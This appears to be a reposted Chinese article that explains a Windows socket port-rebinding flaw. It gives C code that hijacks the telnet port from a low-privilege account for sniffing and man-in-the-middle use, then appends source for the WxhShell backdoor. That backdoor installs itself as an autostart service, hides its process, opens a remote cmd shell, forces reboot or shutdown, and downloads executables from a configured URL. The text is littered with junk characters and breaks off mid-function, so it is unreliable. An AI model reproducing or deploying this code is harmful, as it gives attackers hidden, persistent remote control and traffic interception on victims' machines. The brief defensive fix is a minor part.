在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
x9D/s`! s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
>:$"a _JA:.V^3gm saddr.sin_family = AF_INET;
lC4PKmno bJ6p,]g saddr.sin_addr.s_addr = htonl(INADDR_ANY);
ol }`Wwy .6Fsw
bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
e5 3,Rqi)@ TRy^hr8~ 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
WN\PX!K9 6+e4<sy[E 这意味着什么?意味着可以进行如下的攻击:
{Zl4C;c tgB=vIw?3 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
+99Bi2H}o QtlT&|$ 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
*uU4^E( }1@E"6kF 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
^cn@?k((A #a'r_K=ch) 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
sG1BNb_ 6KO(j/Gwp 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
mV;3ILO N|<bVq% 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
[<S^c[47U | k}e&Q_/G 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
="2/\*.SL #Cx%OIi[f #include
Ld~ q1*7J #include
7>mhK7l #include
Wc\+x1 :8 #include
ZB0+GG\ DWORD WINAPI ClientThread(LPVOID lpParam);
Eu4 &-i int main()
zi.mq&,]R {
^RDU
p5,T WORD wVersionRequested;
_D
JCsK| DWORD ret;
E-F5y WSADATA wsaData;
WUY,. 8 BOOL val;
Qt~B#R.
V SOCKADDR_IN saddr;
ckWkZ
78\ SOCKADDR_IN scaddr;
I^:F)a: int err;
bRsc-Fz6 SOCKET s;
;W~4L+e SOCKET sc;
}^9paU int caddsize;
I&\4C.\> HANDLE mt;
](nH{aY! DWORD tid;
AAo0M/U' wVersionRequested = MAKEWORD( 2, 2 );
&?r*p0MQC err = WSAStartup( wVersionRequested, &wsaData );
7UDq/:}Fo if ( err != 0 ) {
L#!$hq9{_ printf("error!WSAStartup failed!\n");
}DHUTP2;yz return -1;
y@aKNWy}$ }
K:a3+k d saddr.sin_family = AF_INET;
xEC2@J $P;UoqG<& //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
Man^<T%F u GAh7Sop saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
2rmNdvvrk saddr.sin_port = htons(23);
C5;wf3 if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
ofK='G. {
hLo>R'@uN printf("error!socket failed!\n");
{#9,j]< return -1;
qy&\Xgn;GA }
J'Gm7h{
val = TRUE;
gi1j/j7 //SO_REUSEADDR选项就是可以实现端口重绑定的
'e85s%ru if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
[Xq<EEb {
gb(#DbI printf("error!setsockopt failed!\n");
rei5{PC return -1;
`V@z&n0P6 }
Ih3$ //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
6%UY1Q.? //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
\j:AR4 //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
3fl7~Lw, wonYm27f if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
0$QIfT) {
{lMqcK ret=GetLastError();
j-6v2MH printf("error!bind failed!\n");
82s5VQ6 return -1;
pl?kS8#U? }
k,lqT>C listen(s,2);
-$9~xX while(1)
*F|+2?a:$ {
RAwk7F3qn caddsize = sizeof(scaddr);
@Kp1k> ov //接受连接请求
=Sa~\k+ sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
|@ *3^' if(sc!=INVALID_SOCKET)
K-6p'| {
6i-*N[!U mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
)WmZP3$^TX if(mt==NULL)
F3 Y<ZbxT {
{6:&
%V printf("Thread Creat Failed!\n");
.*:h9AE7vo break;
|,{+;: }
PqI![KxZW }
%z2oDAjX CloseHandle(mt);
:l;,m}#@ }
6&mWIk^VC closesocket(s);
8yvJ`eL- WSACleanup();
0$l&i=L return 0;
&1~Re.*B }
V(DjF=8 DWORD WINAPI ClientThread(LPVOID lpParam)
F^xaz^=`u {
!]G jIT]Oh SOCKET ss = (SOCKET)lpParam;
0JyqCbl SOCKET sc;
F@EZ;[ unsigned char buf[4096];
K k`<f d SOCKADDR_IN saddr;
A]#_"fayo long num;
W#VfX!~ DWORD val;
[NjajA~z>F DWORD ret;
8;0^'Qr8 //如果是隐藏端口应用的话,可以在此处加一些判断
~T7\8K+ $ //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
7BS/T saddr.sin_family = AF_INET;
H6{Rd+\Z saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
QY=QQG saddr.sin_port = htons(23);
^(J-dK if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
%xHu,* {
8TI#7 printf("error!socket failed!\n");
<ip)r; return -1;
%uW< }
R@&?i=gk val = 100;
}-dF+m: if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
v|>BDN@,6 {
B]i+,u ret = GetLastError();
"(N-h\7Ex9 return -1;
D"'#one }
0OEtU5lf`y if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
7F~xq#Wi# {
j ~.u>4 ret = GetLastError();
jWhD5k@v return -1;
g{]e j }
sE}sE=\ if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
^&HI+M {
,rXW`7!2 printf("error!socket connect failed!\n");
/%;/pi closesocket(sc);
]Px:d+wX: closesocket(ss);
XGL"gD
return -1;
aK-N}T }
,d5ia4\K while(1)
nMeS CX {
95VqaR, //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
N4tc V\O //如果是嗅探内容的话,可以再此处进行内容分析和记录
pc^E'h: //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
u"eZa!# num = recv(ss,buf,4096,0);
$*g{[&L|6 if(num>0)
m[{nm95QZ send(sc,buf,num,0);
%N!h38N2 else if(num==0)
JW2W>6Dgv[ break;
%sYk0~E num = recv(sc,buf,4096,0);
=GLYDV if(num>0)
f7K8m| send(ss,buf,num,0);
p<ry$=` else if(num==0)
Y/#:)(&@ break;
@i;L Za }
2~+'vi closesocket(ss);
s9=pV4fA~w closesocket(sc);
O$YJku return 0 ;
5QNBB|X@ }
=xl7vHn7 ?NQD# {3jm%ex ==========================================================
@
$9m>6V *'s&/vEy 下边附上一个代码,,WXhSHELL
?|\0)wrRf WReYF+Uen ==========================================================
65 NWX8f} 9[B<rz #include "stdafx.h"
E\W;:p,{A >I{4 #include <stdio.h>
!Mm+bWn=mB #include <string.h>
l^)o'YS y #include <windows.h>
HdDo #include <winsock2.h>
X*(gT1"t #include <winsvc.h>
`>$gy/N #include <urlmon.h>
xtG)^x! $eTv6B?m #pragma comment (lib, "Ws2_32.lib")
h4B+0 #pragma comment (lib, "urlmon.lib")
r@\,VD6J g4?Q.'dZr #define MAX_USER 100 // 最大客户端连接数
d91I #define BUF_SOCK 200 // sock buffer
Sz^TGF #define KEY_BUFF 255 // 输入 buffer
&:IfhS jqV)V> M. #define REBOOT 0 // 重启
0q-0zXlSL #define SHUTDOWN 1 // 关机
ZK W@pW]U _gis+f/8h #define DEF_PORT 5000 // 监听端口
2&3eAJC `kI?Af*;v #define REG_LEN 16 // 注册表键长度
!]n{l_5r #define SVC_LEN 80 // NT服务名长度
uMljH@xBc ]=O{7# // 从dll定义API
UXXqE4x typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
bgkbwE typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
yL^M~lws typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
>^2ZM typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
e/g<<f- g6tWU // wxhshell配置信息
f]O5V$!RuE struct WSCFG {
Te{aB"B int ws_port; // 监听端口
Q%_!xQP` char ws_passstr[REG_LEN]; // 口令
+Y_Q?/M@8 int ws_autoins; // 安装标记, 1=yes 0=no
:..E:HdYO char ws_regname[REG_LEN]; // 注册表键名
ljaAB+
char ws_svcname[REG_LEN]; // 服务名
/@xr[=L
char ws_svcdisp[SVC_LEN]; // 服务显示名
hnM9-hqm char ws_svcdesc[SVC_LEN]; // 服务描述信息
TPN:cA6[c char ws_passmsg[SVC_LEN]; // 密码输入提示信息
&VtWSq-) int ws_downexe; // 下载执行标记, 1=yes 0=no
!07FsPI#{ char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
xF\}.OfWG char ws_filenam[SVC_LEN]; // 下载后保存的文件名
*+4>iL*: f=-!2#% };
4DG 9`5. A,-[/Z K/ // default Wxhshell configuration
%FXI lH5 struct WSCFG wscfg={DEF_PORT,
2`q^Q "xuhuanlingzhe",
4okHAv8; 1,
LrmtPnL "Wxhshell",
dT*f-W "Wxhshell",
_ d(Ks9 "WxhShell Service",
v ](G?L9b "Wrsky Windows CmdShell Service",
|TNiKy "Please Input Your Password: ",
&Nj:XX;X 1,
=PeW$q+ "
http://www.wrsky.com/wxhshell.exe",
N7Z(lI|a; "Wxhshell.exe"
S|z( };
=X%R*~!#Of 9/8@ // 消息定义模块
[5}cU{M char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
wd2P/y42;; char *msg_ws_prompt="\n\r? for help\n\r#>";
W}<M?b4tP char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
<Bob#Tf
~ char *msg_ws_ext="\n\rExit.";
PG-cu$\?? char *msg_ws_end="\n\rQuit.";
wUZ(Tin char *msg_ws_boot="\n\rReboot...";
~I8"l@H> char *msg_ws_poff="\n\rShutdown...";
q^T&A[hMPx char *msg_ws_down="\n\rSave to ";
ID{Pzmt- 8O;rp(N.n char *msg_ws_err="\n\rErr!";
hCOy\[2$ char *msg_ws_ok="\n\rOK!";
5Fl H8=vQy char ExeFile[MAX_PATH];
!pFKC) int nUser = 0;
4IGQ,RTB HANDLE handles[MAX_USER];
|n-a\ int OsIsNt;
0N}
wD- hoSU`X SERVICE_STATUS serviceStatus;
}y-AoG SERVICE_STATUS_HANDLE hServiceStatusHandle;
XyKKD&j s1*WK&@ // 函数声明
xYzcV%-Pm int Install(void);
t0AqGrn int Uninstall(void);
@zVBn~=i int DownloadFile(char *sURL, SOCKET wsh);
+2_6C;_DX int Boot(int flag);
k*UR#z(I void HideProc(void);
:BrnRW64 int GetOsVer(void);
^QHMN 7r/ int Wxhshell(SOCKET wsl);
`)gkkZ$)j void TalkWithClient(void *cs);
W0r5D9k int CmdShell(SOCKET sock);
* zJiii int StartFromService(void);
M%Kx{*aw& int StartWxhshell(LPSTR lpCmdLine);
R;Ix<y{U Hhce:E@K VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
b$$L]$q2 VOID WINAPI NTServiceHandler( DWORD fdwControl );
*Tlws /n<Ncf // 数据结构和表定义
9O0 SERVICE_TABLE_ENTRY DispatchTable[] =
O}\"$n> {
jW+VUF-t {wscfg.ws_svcname, NTServiceMain},
}1^tK(Am {NULL, NULL}
aGzdur };
VHXR)} Z({`9+/>u // 自我安装
m= beB\= int Install(void)
1PT_1[eAR {
[7Kj$PB3 char svExeFile[MAX_PATH];
gWU(uBS HKEY key;
5GWM
)vrZg strcpy(svExeFile,ExeFile);
d9e H}#OY e[VJ0 A= // 如果是win9x系统,修改注册表设为自启动
nH3b<k;S if(!OsIsNt) {
0 S`b;f if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
;] `NR RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
3Jk?)Dy RegCloseKey(key);
:N'[de if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
uhN(`E@ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
l.W 1$g RegCloseKey(key);
x.4)p6 return 0;
`
a<|CcUGU }
(L6]uNOG }
W2o8Fu }
f+W[]KK*PW else {
PTV`=vtj [2fiHE // 如果是NT以上系统,安装为系统服务
;hJ/t/7 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
#lVl?F+~ if (schSCManager!=0)
T;pn - {
snk{u/0Xm SC_HANDLE schService = CreateService
'/"M02a (
7!QXh;u schSCManager,
~>-;(YU"t wscfg.ws_svcname,
#p9z#kin wscfg.ws_svcdisp,
gu%'M:Xe SERVICE_ALL_ACCESS,
AZ Lt'9UD SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
V/[,1W[B SERVICE_AUTO_START,
y7L4jO9h SERVICE_ERROR_NORMAL,
>A@D;vx svExeFile,
p-03V"^& NULL,
bJMcI8` NULL,
+H^V},dBp! NULL,
qFsg&< NULL,
o4
OEA)k)= NULL
kviSQM2 );
x[uXD if (schService!=0)
1Qe! {
u2x=YUWb] CloseServiceHandle(schService);
z{M,2 CloseServiceHandle(schSCManager);
n[w,x; strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
ZCF-*nm strcat(svExeFile,wscfg.ws_svcname);
ny?m&;^r: if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
IF?B`TmZ RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
3*23+}^G RegCloseKey(key);
V$F.`O!hfi return 0;
FoXQ]X7" }
g4qdm{BL }
C-
Rie[ CloseServiceHandle(schSCManager);
}c#/1J7 }
9TN5|x }
ML"P"&~u6 -/{}^QWB return 1;
&``oZvuB }
V4i%|vV N S}`(N // 自我卸载
]SR`96vG int Uninstall(void)
"^e?E:( 3 {
h}<ZZ HKEY key;
5Cyjq0+ t4c#' y if(!OsIsNt) {
imq(3? if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
J#Ehx| RegDeleteValue(key,wscfg.ws_regname);
bvRGTOxO RegCloseKey(key);
EuA<{%i if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
7?WBzo!!L RegDeleteValue(key,wscfg.ws_regname);
w=>mG- RegCloseKey(key);
6
&Aa b56 return 0;
o[ W3/ }
X35U!1Y\ }
29DWRJU }
f0bV]<_9 else {
}? '9L: =v=!x SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
O!+5As if (schSCManager!=0)
* CGdfdxW {
&_hCs![ SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
:%oj'm44! if (schService!=0)
VIdoT2 {
&bgi0)> if(DeleteService(schService)!=0) {
O}!@28|3" CloseServiceHandle(schService);
5VoiDM=\c CloseServiceHandle(schSCManager);
% x;!s=U return 0;
Ui;s.f }
5&Kn # CloseServiceHandle(schService);
ho$%7mc }
GQBN-Qv CloseServiceHandle(schSCManager);
V/%;:ul. }
ryLNMh }
g'7hc~= {
4{{;
return 1;
RYaofW }
]7
mSM ~,-O // 从指定url下载文件
^#nWgo7{7 int DownloadFile(char *sURL, SOCKET wsh)
)#Bfd(F {
*%BI*p HRESULT hr;
,w>?N\w!} char seps[]= "/";
JLn<,Gn)<\ char *token;
%"fKZ char *file;
*9wHH-# char myURL[MAX_PATH];
U {!{5l: char myFILE[MAX_PATH];
^}\R]})w" ; O0rt1 strcpy(myURL,sURL);
-RDs{c`y%N token=strtok(myURL,seps);
@&yj7-] while(token!=NULL)
ebK
wCZwK* {
agD.J)v\ file=token;
MCG~{#` token=strtok(NULL,seps);
rL"k-5>fd }
=)5a=^
6 >iJuR.:OO GetCurrentDirectory(MAX_PATH,myFILE);
i_ T dI strcat(myFILE, "\\");
[ i#Gqx>'w strcat(myFILE, file);
}"k(kH send(wsh,myFILE,strlen(myFILE),0);
HNT8~s.2 send(wsh,"...",3,0);
e/\_F+jyc hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
r0bPaAKw if(hr==S_OK)
H2cc).8" return 0;
Isb^~c_P else
2MeavTr return 1;
gOAluP =(\!,S' }
TvwIro :!hH`l}p // 系统电源模块
!S{<Xc'wv int Boot(int flag)
!WnI` {
ji=po;g=E HANDLE hToken;
z59J=?| TOKEN_PRIVILEGES tkp;
S,%HW87 S`KCVQ>V if(OsIsNt) {
}dl(9H=4 OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
RL9BB. LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
!,"G/}'^; tkp.PrivilegeCount = 1;
axOy~%%c tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
ir#^5e@ AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
vn0*KIrX if(flag==REBOOT) {
1X.1t^HH: if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
J)NpG9iN return 0;
HArYL}l }
o-=lH tR else {
B35f5m7r if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
>FNt*tX<0 return 0;
}iAi`_\0; }
~T9[\nU\ }
itvdzPO else {
a| cD{d if(flag==REBOOT) {
rd{(E if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
SbivW5|61 return 0;
X_l,fu^C#$ }
DBDfBb else {
jp`N%O]6 if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
`_)dEu return 0;
;0gpS y$# }
mo$*KNW%\ }
k>`X!
" &pz8vWCk return 1;
yqwr0yDAl }
v g]&T 5yI D% // win9x进程隐藏模块
{{,%p#/b void HideProc(void)
)' #(1
,1k {
A?zW!' CG;D (AWR; HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
a06DeRCej if ( hKernel != NULL )
oMbCljUC {
rg~CF< pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
Xv:IbM>
Qc ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
i$bBN$<b< FreeLibrary(hKernel);
H_FhHX.2( }
sTz*tSwQv k_B^2= return;
H"l'E9k.&p }
a{W-+t kz^G.5n // 获取操作系统版本
rge/jE,^~Z int GetOsVer(void)
%*nZ,r {
y]_DW6W OSVERSIONINFO winfo;
p'*UM%@SIY winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
9iE66N>z GetVersionEx(&winfo);
:83"t-O8[ if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
7F4]EA^ return 1;
E.9F~&DPJ< else
8^lXM-G- return 0;
Xc^~|%+ }
8h97~$7) 4Q5v8k= // 客户端句柄模块
G
w[&P% int Wxhshell(SOCKET wsl)
A-FwNo2"% {
0"N %Vm SOCKET wsh;
w6_}]
&F struct sockaddr_in client;
L;[*F-+jD DWORD myID;
d,)L, J F`u~Jx8.* while(nUser<MAX_USER)
y(k2p {
Kf.b
<wP{ int nSize=sizeof(client);
6X7_QBC) wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
%}[??R0 if(wsh==INVALID_SOCKET) return 1;
V|)> XvdhPOMy handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
7-DC"`Y8e if(handles[nUser]==0)
c
z|IBsa* closesocket(wsh);
jYkx]J%S else
%#,BvQz~ nUser++;
&%lhov }
hd\#Vh(H WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
BlUY9`VWh@ H &JKja}` return 0;
j4h 7q< }
MYDSkW >@" j9 // 关闭 socket
!NCT) #G` void CloseIt(SOCKET wsh)
M<"D!h9YP {
l-
l}xBf closesocket(wsh);
ARE~jzakg nUser--;
4]bT O ExitThread(0);
oa|0= }
L*z;-, hk
I$ow ( // 客户端请求句柄
|j,Mof void TalkWithClient(void *cs)
J:5n/m^A {
RjDFc:bB L2qF@!Yy= SOCKET wsh=(SOCKET)cs;
r2G<::<zL char pwd[SVC_LEN];
Ij+zR>P8=\ char cmd[KEY_BUFF];
2Y+*vN s3 char chr[1];
'Khq!pC int i,j;
9\8""- HIF]c while (nUser < MAX_USER) {
AS7!FD6b eZcm3=WV| if(wscfg.ws_passstr) {
$spf=t"nh if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
uMI2Wnnc:/ //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
j!s&yHE1 //ZeroMemory(pwd,KEY_BUFF);
F,sT[C i=0;
_W;u Qg'] while(i<SVC_LEN) {
aqB^ %e 6]Jv3Re'(I // 设置超时
"#7i-?= fd_set FdRead;
;Y"J j struct timeval TimeOut;
Ol? 2Qy.2) FD_ZERO(&FdRead);
+FiV!nRkZ FD_SET(wsh,&FdRead);
n'ro5D TimeOut.tv_sec=8;
DB0xIP~i,? TimeOut.tv_usec=0;
Z|W=.RdA; int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
z,9qAts?mh if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
&[YG\8sxWa 3
*G=U if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
B;m18LDu pwd
=chr[0]; a5'QL(IX
if(chr[0]==0xd || chr[0]==0xa) { #xc[)Y,W
pwd=0; yhIg)/?L
break; bYtF#Y
} MiC&av
i++; L4NC-
} a-3~HH
1$^{Uma
// 如果是非法用户,关闭 socket 8p
FSm>
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh);
<ygO?m{
} "CaVT7L
en
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); $OT:J
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); H.9 J}k1S
gor6c3i
while(1) { ZD,l2DQ?
8[DD=[&
ZeroMemory(cmd,KEY_BUFF); 4MM#\
Dihk8qJ/6
// 自动支持客户端 telnet标准 j<!$ug9VA
j=0; 982$d<0%
while(j<KEY_BUFF) { 4nY2v['m0
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); GB+G1w
cmd[j]=chr[0]; ~ e"^-x
if(chr[0]==0xa || chr[0]==0xd) { NlKnMgt~
cmd[j]=0; T>c;q%A/
break; sLTf).xh
} WDZEnauE
j++; .Ybm27Dk
} F kWJB>
^I0SfZ'Y
// 下载文件 xWD wg@ P
if(strstr(cmd,"http://")) { ?*T`a oB
send(wsh,msg_ws_down,strlen(msg_ws_down),0); +z4NxR
if(DownloadFile(cmd,wsh)) EU+sTe >
send(wsh,msg_ws_err,strlen(msg_ws_err),0); v}!,4,]:&
else cq 0jM;@d
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); k@Hu0x
} &8;mcM//4
else { ENGw <
&~k/G
switch(cmd[0]) { xpV8_Gz;
t Sg#2
// 帮助 `S!`=26Z!
case '?': { EGs z{c[8@
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); }{lOsZA
break; B82A:t)
} :g,r l\S7
// 安装 toQn]MT
case 'i': { o6q Qzk
if(Install()) ss[8d%V
send(wsh,msg_ws_err,strlen(msg_ws_err),0); %PG0PH4?
else 9A6ly9DIS
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 83S],L
break; "evLI?
} |6&"r&
// 卸载 sOHh&e
case 'r': { pZH
bj2~
if(Uninstall()) 6@T_1
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Y`M.hYBXk
else ^iGIF~J9
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); (s9?#t6
break; 46 77uy
} S`J_}>
// 显示 wxhshell 所在路径 BFMM6-Ve
case 'p': {
VC.r
char svExeFile[MAX_PATH]; nZ{~@E2
strcpy(svExeFile,"\n\r"); MM97$
strcat(svExeFile,ExeFile); eQ*gnV}rE%
send(wsh,svExeFile,strlen(svExeFile),0); 4TLh'?Xu9
break; i} q6^;uTF
} _gc2h@x1O
// 重启 [0 W^|=#K
case 'b': { >_5D`^
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); F~{4)`
if(Boot(REBOOT)) &;y(@e}D
send(wsh,msg_ws_err,strlen(msg_ws_err),0); sx/g5?zh
else { 72PDqK#
closesocket(wsh); SkK=VeD>8
ExitThread(0); e\P+R>i0
} 's
e9|:
break; J+9D/VT
} HHX9QebiST
// 关机 Y<{j':
case 'd': { "['YMhu_
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 1s*I
if(Boot(SHUTDOWN)) ftK.jj1:
send(wsh,msg_ws_err,strlen(msg_ws_err),0); }$b/g
else { M]6=Rxq1:E
closesocket(wsh); $H_4Y-xOi
ExitThread(0); >s1HQSe66
} h<6r+*T' p
break; B[k"xs
} D$j`+`
// 获取shell T*$uc,
case 's': { %D&FnTa
CmdShell(wsh); /]YK:7*98
closesocket(wsh); oVLz7Y[JE
ExitThread(0); 0a(*/u
break; {xOu*8J
} B$7lL
// 退出 YGxdYwBwf
case 'x': { (+4=A k
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ZI5UQH/
CloseIt(wsh); {B[i|(xQx
break; u52@{@Ad
} bjR&bIA:
// 离开 P{);$e+b~
case 'q': { yLI=&7/e@
send(wsh,msg_ws_end,strlen(msg_ws_end),0); eNXpRvY
closesocket(wsh); 5xRh'Jkyb
WSACleanup(); ^P]: etld9
exit(1); D-[0^
break; Tvk= NJ
} X-t4irZ)
} #BM *40tch
} bf}r8$,
.%*.nq
// 提示信息 C@KYg/nYw
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 4E"qpy \(
} t);5Cw_
} Cu!4ha.e`
J H$
return; uz*C`T0:rj
} t[3Upe%
8^M5u>=t;
// shell模块句柄 ?p$WqVN}
int CmdShell(SOCKET sock) dkCSqNFL)
{ 8_KXli}7=
STARTUPINFO si; 3?fya8W<
ZeroMemory(&si,sizeof(si)); tl#hCy
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; |>[w$
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Wqy8ZgSC
PROCESS_INFORMATION ProcessInfo; bG\1<:6B
char cmdline[]="cmd"; {0e5<"i
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); !vG._7lPp
return 0; mTcLocx
} y*zZ }>
<KJ18/
// 自身启动模式 iPHMyxT+S
int StartFromService(void) J_`.w
{ EQ7cK63
typedef struct 4,)=r3;&!
{ y 5=J6a2.
DWORD ExitStatus; !rrjA$P<v
DWORD PebBaseAddress; u} KiSZxt
DWORD AffinityMask; I</Nmgf
DWORD BasePriority; ECl[v%R/6
ULONG UniqueProcessId; R4{}ZT
ULONG InheritedFromUniqueProcessId; hf%W grO.
